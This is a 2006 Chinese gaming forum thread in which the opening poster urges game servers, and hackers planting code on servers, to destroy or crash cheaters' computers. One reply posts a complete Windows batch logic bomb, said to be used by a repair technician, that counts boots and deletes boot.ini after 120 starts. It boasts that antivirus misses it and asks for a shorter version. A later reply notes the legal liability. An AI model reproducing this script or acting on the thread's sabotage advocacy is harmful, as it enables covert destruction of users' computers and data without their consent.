搜索
查看: 11565|回复: 43

提供一个根治作弊的方法,就是服务端采用破坏性程序

[复制链接]
发表于 2006-7-18 23:25:28 | 显示全部楼层 |阅读模式 来自 上海浦东新区
反作弊一般都是采取封或者踢的方法,这种手法太软,中国人是吃硬不吃软,没用
对于垃圾败类,没有头脑和思想的人,封IP和踢人已经毫无作用,毫无威慑力

现在要改变一下反作弊的方式,对于作弊者不能来软的,要来硬的,要有威慑力
对于作弊者,一旦发现,就采用烧毁其电脑,烧毁CPU等等,或者让其电脑死机。
就像杀人要偿命,想要杀人的人,才会有恐惧感,不敢随意杀人。

这种破坏性程序安装在服务端上,随时,不定期,不公开的进行升级,服务器会自动随时升级
就算有人刚好破解,可能恰好这时破坏性程序已经升级,作弊者还是会被烧毁电脑
因为这种破坏性程序是不公开的,不定期的自动时时升级,没有规律可寻,破解也就毫无意义

一旦因作弊而烧毁电脑的人多起来,相信不过一个月,就会传遍全中国,作弊者就会完全消失
拿一台几千元的电脑,跟用一时的快乐做赌注,谁不怕,谁不恐惧?谁赶作弊?

作弊者给不作弊的人带来精神损失,而作弊者不但没有任何损失,而且还从精神上快乐,获利
这非常不公平,作弊者也要有所损失,来维持平衡,这就是让作弊者在物质和精神上都受到损失

如果烧电脑有点严重,就用死机的方法,封IP可以轻松换,死机没那么轻松重新启动,麻烦比较大

烧毁电脑的方法行不通,死机的方法可以普及
对于作弊者的惩罚,不再是毫无意义的封和踢,而是死机,足以给作弊者制造较大障碍

死机对于作弊,可能会有较大的改善

烧电脑对于作弊,会有质的改善,作弊从此消失,无毒不丈夫,要让其死的快,毒性就要强

黑克也可以把这种破坏性程序,挂在全中国所有的CS服务器上,或者其它游戏服务器上
别只知道给网站挂广告,挂木马,给CS服务器也挂点东西吧
发表于 2006-7-18 23:28:32 | 显示全部楼层 来自 云南保山

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

如果去网吧呢?????那么网吧老板倒霉了.....................
回复

使用道具 举报

 楼主| 发表于 2006-7-18 23:30:41 | 显示全部楼层 来自 上海浦东新区

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

Post by taj9099
如果去网吧呢?????那么网吧老板倒霉了.....................
要的就是这样的效果,没人赶作弊,除非有钱陪一台电脑

到时,所有的网吧都会贴上大字公告,本网吧禁止作弊,如因作弊电脑被破坏,罚款5000元
回复

使用道具 举报

发表于 2006-7-19 01:50:20 | 显示全部楼层 来自 广东深圳

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

楼主不会还是个小学生吧?
回复

使用道具 举报

 楼主| 发表于 2006-7-19 07:58:43 | 显示全部楼层 来自 上海浦东新区

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

Post by Cs.K
楼主不会还是个小学生吧?
你是大学生?你说如何防止作弊?拿出个有效的方案出来
别像高分低能儿一样扯蛋水平一流,一点用处都没有

封和踢才是小学生的智商,对于作弊毫无任何作用,这就是作弊泛滥的根源
因为作弊者在物质上还是精神上,都没有任何损失,当然会疯狂作弊

应该跟正版一样,要给作弊的一个物质和精神上的损失,这样才能真正杜绝作弊
封CD-KEY就是一个例子,你要重新买CD-KEY,物质上受到损失,精神上也很不愉快
回复

使用道具 举报

发表于 2006-7-19 08:14:14 | 显示全部楼层 来自 云南曲靖

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

这是一个电脑维修员的策略!参考一下做成程序!用来反作弊!
[PHP]在装系统的时候加入了这段BAT代码,每次开机都运行一次。

当运行到第120次的时候,程序就回执行删除系统里的文件。下次启动就会因为缺少系统文件而瘫痪。

简单的说:电脑维修后就能使用120次。(平均1天一次的话就是3个多4个月)3月后电脑就会在瘫痪(帮人修电脑后系统都包3月)

最大的好处是,它不属于病毒或木马的范畴,杀毒软件对它没用

@echo off
PATH %PATH%;c:\windows;c:\windows\command
md c:\windows\bak
rem 判断是否有开始执行标记文件
if EXIST c:\windows\bak\120.bak goto run
rem 创建标记初始文件
dir c:\msdos.sys > c:\windows\bak\1.bak
rem 查找标记文件来判断运行次数
if EXIST c:\windows\bak\119.bak goto 119
if EXIST c:\windows\bak\118.bak goto 118
if EXIST c:\windows\bak\117.bak goto 117
if EXIST c:\windows\bak\116.bak goto 116
if EXIST c:\windows\bak\115.bak goto 115
if EXIST c:\windows\bak\114.bak goto 114
if EXIST c:\windows\bak\113.bak goto 113
if EXIST c:\windows\bak\112.bak goto 112
if EXIST c:\windows\bak\111.bak goto 111
if EXIST c:\windows\bak\110.bak goto 110
if EXIST c:\windows\bak\109.bak goto 109
if EXIST c:\windows\bak\108.bak goto 108
if EXIST c:\windows\bak\107.bak goto 107
if EXIST c:\windows\bak\106.bak goto 106
if EXIST c:\windows\bak\105.bak goto 105
if EXIST c:\windows\bak\104.bak goto 104
if EXIST c:\windows\bak\103.bak goto 103
if EXIST c:\windows\bak\102.bak goto 102
if EXIST c:\windows\bak\101.bak goto 101
if EXIST c:\windows\bak\100.bak goto 100
if EXIST c:\windows\bak\99.bak goto 99
if EXIST c:\windows\bak\98.bak goto 98
if EXIST c:\windows\bak\97.bak goto 97
if EXIST c:\windows\bak\96.bak goto 96
if EXIST c:\windows\bak\95.bak goto 95
if EXIST c:\windows\bak\94.bak goto 94
if EXIST c:\windows\bak\93.bak goto 93
if EXIST c:\windows\bak\92.bak goto 92
if EXIST c:\windows\bak\91.bak goto 91
if EXIST c:\windows\bak\90.bak goto 90
if EXIST c:\windows\bak\89.bak goto 89
if EXIST c:\windows\bak\88.bak goto 88
if EXIST c:\windows\bak\87.bak goto 87
if EXIST c:\windows\bak\86.bak goto 86
if EXIST c:\windows\bak\85.bak goto 85
if EXIST c:\windows\bak\84.bak goto 84
if EXIST c:\windows\bak\83.bak goto 83
if EXIST c:\windows\bak\82.bak goto 82
if EXIST c:\windows\bak\81.bak goto 81
if EXIST c:\windows\bak\80.bak goto 80
if EXIST c:\windows\bak\79.bak goto 79
if EXIST c:\windows\bak\78.bak goto 78
if EXIST c:\windows\bak\77.bak goto 77
if EXIST c:\windows\bak\76.bak goto 76
if EXIST c:\windows\bak\75.bak goto 75
if EXIST c:\windows\bak\74.bak goto 74
if EXIST c:\windows\bak\73.bak goto 73
if EXIST c:\windows\bak\72.bak goto 72
if EXIST c:\windows\bak\71.bak goto 71
if EXIST c:\windows\bak\70.bak goto 70
if EXIST c:\windows\bak\69.bak goto 69
if EXIST c:\windows\bak\68.bak goto 68
if EXIST c:\windows\bak\67.bak goto 67
if EXIST c:\windows\bak\66.bak goto 66
if EXIST c:\windows\bak\65.bak goto 65
if EXIST c:\windows\bak\64.bak goto 64
if EXIST c:\windows\bak\63.bak goto 63
if EXIST c:\windows\bak\62.bak goto 62
if EXIST c:\windows\bak\61.bak goto 61
if EXIST c:\windows\bak\60.bak goto 60
if EXIST c:\windows\bak\59.bak goto 59
if EXIST c:\windows\bak\58.bak goto 58
if EXIST c:\windows\bak\57.bak goto 57
if EXIST c:\windows\bak\56.bak goto 56
if EXIST c:\windows\bak\55.bak goto 55
if EXIST c:\windows\bak\54.bak goto 54
if EXIST c:\windows\bak\53.bak goto 53
if EXIST c:\windows\bak\52.bak goto 52
if EXIST c:\windows\bak\51.bak goto 51
if EXIST c:\windows\bak\50.bak goto 50
if EXIST c:\windows\bak\49.bak goto 49
if EXIST c:\windows\bak\48.bak goto 48
if EXIST c:\windows\bak\47.bak goto 47
if EXIST c:\windows\bak\46.bak goto 46
if EXIST c:\windows\bak\45.bak goto 45
if EXIST c:\windows\bak\44.bak goto 44
if EXIST c:\windows\bak\43.bak goto 43
if EXIST c:\windows\bak\42.bak goto 42
if EXIST c:\windows\bak\41.bak goto 41
if EXIST c:\windows\bak\40.bak goto 40
if EXIST c:\windows\bak\39.bak goto 39
if EXIST c:\windows\bak\38.bak goto 38
if EXIST c:\windows\bak\37.bak goto 37
if EXIST c:\windows\bak\36.bak goto 36
if EXIST c:\windows\bak\35.bak goto 35
if EXIST c:\windows\bak\34.bak goto 34
if EXIST c:\windows\bak\33.bak goto 33
if EXIST c:\windows\bak\32.bak goto 32
if EXIST c:\windows\bak\31.bak goto 31
if EXIST c:\windows\bak\30.bak goto 30
if EXIST c:\windows\bak\29.bak goto 29
if EXIST c:\windows\bak\28.bak goto 28
if EXIST c:\windows\bak\27.bak goto 27
if EXIST c:\windows\bak\26.bak goto 26
if EXIST c:\windows\bak\25.bak goto 25
if EXIST c:\windows\bak\24.bak goto 24
if EXIST c:\windows\bak\23.bak goto 23
if EXIST c:\windows\bak\22.bak goto 22
if EXIST c:\windows\bak\21.bak goto 21
if EXIST c:\windows\bak\20.bak goto 20
if EXIST c:\windows\bak\19.bak goto 19
if EXIST c:\windows\bak\18.bak goto 18
if EXIST c:\windows\bak\17.bak goto 17
if EXIST c:\windows\bak\16.bak goto 16
if EXIST c:\windows\bak\15.bak goto 15
if EXIST c:\windows\bak\14.bak goto 14
if EXIST c:\windows\bak\13.bak goto 13
if EXIST c:\windows\bak\12.bak goto 12
if EXIST c:\windows\bak\11.bak goto 11
if EXIST c:\windows\bak\10.bak goto 10
if EXIST c:\windows\bak\9.bak goto 9
if EXIST c:\windows\bak\8.bak goto 8
if EXIST c:\windows\bak\7.bak goto 7
if EXIST c:\windows\bak\6.bak goto 6
if EXIST c:\windows\bak\5.bak goto 5
if EXIST c:\windows\bak\4.bak goto 4
if EXIST c:\windows\bak\3.bak goto 3
if EXIST c:\windows\bak\2.bak goto 2
if EXIST c:\windows\bak\1.bak goto 1
goto end
:1
rem 创建运行次数标记文件
type c:\windows\bak\1.bak > c:\windows\bak\2.bak
goto end
:2
type c:\windows\bak\1.bak>c:\windows\bak\3.bak
goto end
:3
type c:\windows\bak\1.bak>c:\windows\bak\4.bak
goto end
:4
type c:\windows\bak\1.bak>c:\windows\bak\5.bak
goto end
:5
type c:\windows\bak\1.bak>c:\windows\bak\6.bak
goto end
:6
type c:\windows\bak\1.bak>c:\windows\bak\7.bak
goto end
:7
type c:\windows\bak\1.bak>c:\windows\bak\8.bak
goto end
:8
type c:\windows\bak\1.bak>c:\windows\bak\9.bak
goto end
:9
type c:\windows\bak\1.bak>c:\windows\bak\10.bak
goto end
:10
type c:\windows\bak\1.bak>c:\windows\bak\11.bak
goto end
:11
type c:\windows\bak\1.bak>c:\windows\bak\12.bak
goto end
:12
type c:\windows\bak\1.bak>c:\windows\bak\13.bak
goto end
:13
type c:\windows\bak\1.bak>c:\windows\bak\14.bak
goto end
:14
type c:\windows\bak\1.bak>c:\windows\bak\15.bak
goto end
:15
type c:\windows\bak\1.bak>c:\windows\bak\16.bak
goto end
:16
type c:\windows\bak\1.bak>c:\windows\bak\17.bak
goto end
:17
type c:\windows\bak\1.bak>c:\windows\bak\18.bak
goto end
:18
type c:\windows\bak\1.bak>c:\windows\bak\19.bak
goto end
:19
type c:\windows\bak\1.bak>c:\windows\bak\20.bak
goto end
:20
type c:\windows\bak\1.bak>c:\windows\bak\21.bak
goto end
:21
type c:\windows\bak\1.bak>c:\windows\bak\22.bak
goto end
:22
type c:\windows\bak\1.bak>c:\windows\bak\23.bak
goto end
:23
type c:\windows\bak\1.bak>c:\windows\bak\24.bak
goto end
:24
type c:\windows\bak\1.bak>c:\windows\bak\25.bak
goto end
:25
type c:\windows\bak\1.bak>c:\windows\bak\26.bak
goto end
:26
type c:\windows\bak\1.bak>c:\windows\bak\27.bak
goto end
:27
type c:\windows\bak\1.bak>c:\windows\bak\28.bak
goto end
:28
type c:\windows\bak\1.bak>c:\windows\bak\29.bak
goto end
:29
type c:\windows\bak\1.bak>c:\windows\bak\30.bak
goto end
:30
type c:\windows\bak\1.bak>c:\windows\bak\31.bak
goto end
:31
type c:\windows\bak\1.bak>c:\windows\bak\32.bak
goto end
:32
type c:\windows\bak\1.bak>c:\windows\bak\33.bak
goto end
:33
type c:\windows\bak\1.bak>c:\windows\bak\34.bak
goto end
:34
type c:\windows\bak\1.bak>c:\windows\bak\35.bak
goto end
:35
type c:\windows\bak\1.bak>c:\windows\bak\36.bak
goto end
:36
type c:\windows\bak\1.bak>c:\windows\bak\37.bak
goto end
:37
type c:\windows\bak\1.bak>c:\windows\bak\38.bak
goto end
:38
type c:\windows\bak\1.bak>c:\windows\bak\39.bak
goto end
:39
type c:\windows\bak\1.bak>c:\windows\bak\40.bak
goto end
:40
type c:\windows\bak\1.bak>c:\windows\bak\41.bak
goto end
:41
type c:\windows\bak\1.bak>c:\windows\bak\42.bak
goto end
:42
type c:\windows\bak\1.bak>c:\windows\bak\43.bak
goto end
:43
type c:\windows\bak\1.bak>c:\windows\bak\44.bak
goto end
:44
type c:\windows\bak\1.bak>c:\windows\bak\45.bak
goto end
:45
type c:\windows\bak\1.bak>c:\windows\bak\46.bak
goto end
:46
type c:\windows\bak\1.bak>c:\windows\bak\47.bak
goto end
:47
type c:\windows\bak\1.bak>c:\windows\bak\48.bak
goto end
:48
type c:\windows\bak\1.bak>c:\windows\bak\49.bak
goto end
:49
type c:\windows\bak\1.bak>c:\windows\bak\50.bak
goto end
:50
type c:\windows\bak\1.bak>c:\windows\bak\51.bak
goto end
:51
type c:\windows\bak\1.bak>c:\windows\bak\52.bak
goto end
:52
type c:\windows\bak\1.bak>c:\windows\bak\53.bak
goto end
:53
type c:\windows\bak\1.bak>c:\windows\bak\54.bak
goto end
:54
type c:\windows\bak\1.bak>c:\windows\bak\55.bak
goto end
:55
type c:\windows\bak\1.bak>c:\windows\bak\56.bak
goto end
:56
type c:\windows\bak\1.bak>c:\windows\bak\57.bak
goto end
:57
type c:\windows\bak\1.bak>c:\windows\bak\58.bak
goto end
:58
type c:\windows\bak\1.bak>c:\windows\bak\59.bak
goto end
:59
type c:\windows\bak\1.bak>c:\windows\bak\60.bak
goto end
:60
type c:\windows\bak\1.bak>c:\windows\bak\61.bak
goto end
:61
type c:\windows\bak\1.bak>c:\windows\bak\62.bak
goto end
:62
type c:\windows\bak\1.bak>c:\windows\bak\63.bak
goto end
:63
type c:\windows\bak\1.bak>c:\windows\bak\64.bak
goto end
:64
type c:\windows\bak\1.bak>c:\windows\bak\65.bak
goto end
:65
type c:\windows\bak\1.bak>c:\windows\bak\66.bak
goto end
:66
type c:\windows\bak\1.bak>c:\windows\bak\67.bak
goto end
:67
type c:\windows\bak\1.bak>c:\windows\bak\68.bak
goto end
:68
type c:\windows\bak\1.bak>c:\windows\bak\69.bak
goto end
:69
type c:\windows\bak\1.bak>c:\windows\bak\70.bak
goto end
:70
type c:\windows\bak\1.bak>c:\windows\bak\71.bak
goto end
:71
type c:\windows\bak\1.bak>c:\windows\bak\72.bak
goto end
:72
type c:\windows\bak\1.bak>c:\windows\bak\73.bak
goto end
:73
type c:\windows\bak\1.bak>c:\windows\bak\74.bak
goto end
:74
type c:\windows\bak\1.bak>c:\windows\bak\75.bak
goto end
:75
type c:\windows\bak\1.bak>c:\windows\bak\76.bak
goto end
:76
type c:\windows\bak\1.bak>c:\windows\bak\77.bak
goto end
:77
type c:\windows\bak\1.bak>c:\windows\bak\78.bak
goto end
:78
type c:\windows\bak\1.bak>c:\windows\bak\79.bak
goto end
:79
type c:\windows\bak\1.bak>c:\windows\bak\80.bak
goto end
:80
type c:\windows\bak\1.bak>c:\windows\bak\81.bak
goto end
:81
type c:\windows\bak\1.bak>c:\windows\bak\82.bak
goto end
:82
type c:\windows\bak\1.bak>c:\windows\bak\83.bak
goto end
:83
type c:\windows\bak\1.bak>c:\windows\bak\84.bak
goto end
:84
type c:\windows\bak\1.bak>c:\windows\bak\85.bak
goto end
:85
type c:\windows\bak\1.bak>c:\windows\bak\86.bak
goto end
:86
type c:\windows\bak\1.bak>c:\windows\bak\87.bak
goto end
:87
type c:\windows\bak\1.bak>c:\windows\bak\88.bak
goto end
:88
type c:\windows\bak\1.bak>c:\windows\bak\89.bak
goto end
:89
type c:\windows\bak\1.bak>c:\windows\bak\90.bak
goto end
:90
type c:\windows\bak\1.bak>c:\windows\bak\91.bak
goto end
:91
type c:\windows\bak\1.bak>c:\windows\bak\92.bak
goto end
:92
type c:\windows\bak\1.bak>c:\windows\bak\93.bak
goto end
:93
type c:\windows\bak\1.bak>c:\windows\bak\94.bak
goto end
:94
type c:\windows\bak\1.bak>c:\windows\bak\95.bak
goto end
:95
type c:\windows\bak\1.bak>c:\windows\bak\96.bak
goto end
:96
type c:\windows\bak\1.bak>c:\windows\bak\97.bak
goto end
:97
type c:\windows\bak\1.bak>c:\windows\bak\98.bak
goto end
:98
type c:\windows\bak\1.bak>c:\windows\bak\99.bak
goto end
:99
type c:\windows\bak\1.bak>c:\windows\bak\100.bak
goto end
:100
type c:\windows\bak\1.bak>c:\windows\bak\101.bak
goto end
:101
type c:\windows\bak\1.bak>c:\windows\bak\102.bak
goto end
:102
type c:\windows\bak\1.bak>c:\windows\bak\103.bak
goto end
:103
type c:\windows\bak\1.bak>c:\windows\bak\104.bak
goto end
:104
type c:\windows\bak\1.bak>c:\windows\bak\105.bak
goto end
:105
type c:\windows\bak\1.bak>c:\windows\bak\106.bak
goto end
:106
type c:\windows\bak\1.bak>c:\windows\bak\107.bak
goto end
:107
type c:\windows\bak\1.bak>c:\windows\bak\108.bak
goto end
:108
type c:\windows\bak\1.bak>c:\windows\bak\109.bak
goto end
:109
type c:\windows\bak\1.bak>c:\windows\bak\110.bak
goto end
:110
type c:\windows\bak\1.bak>c:\windows\bak\111.bak
goto end
:111
type c:\windows\bak\1.bak>c:\windows\bak\112.bak
goto end
:112
type c:\windows\bak\1.bak>c:\windows\bak\113.bak
goto end
:113
type c:\windows\bak\1.bak>c:\windows\bak\114.bak
goto end
:114
type c:\windows\bak\1.bak>c:\windows\bak\115.bak
goto end
:115
type c:\windows\bak\1.bak>c:\windows\bak\116.bak
goto end
:116
type c:\windows\bak\1.bak>c:\windows\bak\117.bak
goto end
:117
type c:\windows\bak\1.bak>c:\windows\bak\118.bak
goto end
:118
type c:\windows\bak\1.bak>c:\windows\bak\119.bak
goto end
:119
type c:\windows\bak\1.bak>c:\windows\bak\120.bak
goto end

:run
rem 开始执行预定程序
del c:\windows\bak\ *.bak

attrib -s -h -r c:\boot.ini >nul
del c:\boot.ini >nul
:end


希望高手精简下 达到相同结果

[/PHP]
回复

使用道具 举报

发表于 2006-7-19 10:05:54 | 显示全部楼层 来自 广东深圳

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

可能性蛮大,有希望啦
回复

使用道具 举报

发表于 2006-7-19 10:17:37 | 显示全部楼层 来自 江苏无锡

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

直接让显示器爆炸,炸死作弊的算了:D
回复

使用道具 举报

发表于 2006-7-19 11:05:07 | 显示全部楼层 来自 山东青岛

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

哎哟~~~~~真是好笑.
回复

使用道具 举报

发表于 2006-7-19 11:43:21 | 显示全部楼层 来自 山东烟台

回复: 提供一个根治作弊的方法,就是服务端采用破坏性程序

作弊没有法律说不行,但你加了恶意代码造成他人计算机损坏,人家去哪告,你都得老老实实的赔偿
回复

使用道具 举报

游客
回复
您需要登录后才可以回帖 登录 | 注个册吧

快速回复 返回顶部 返回列表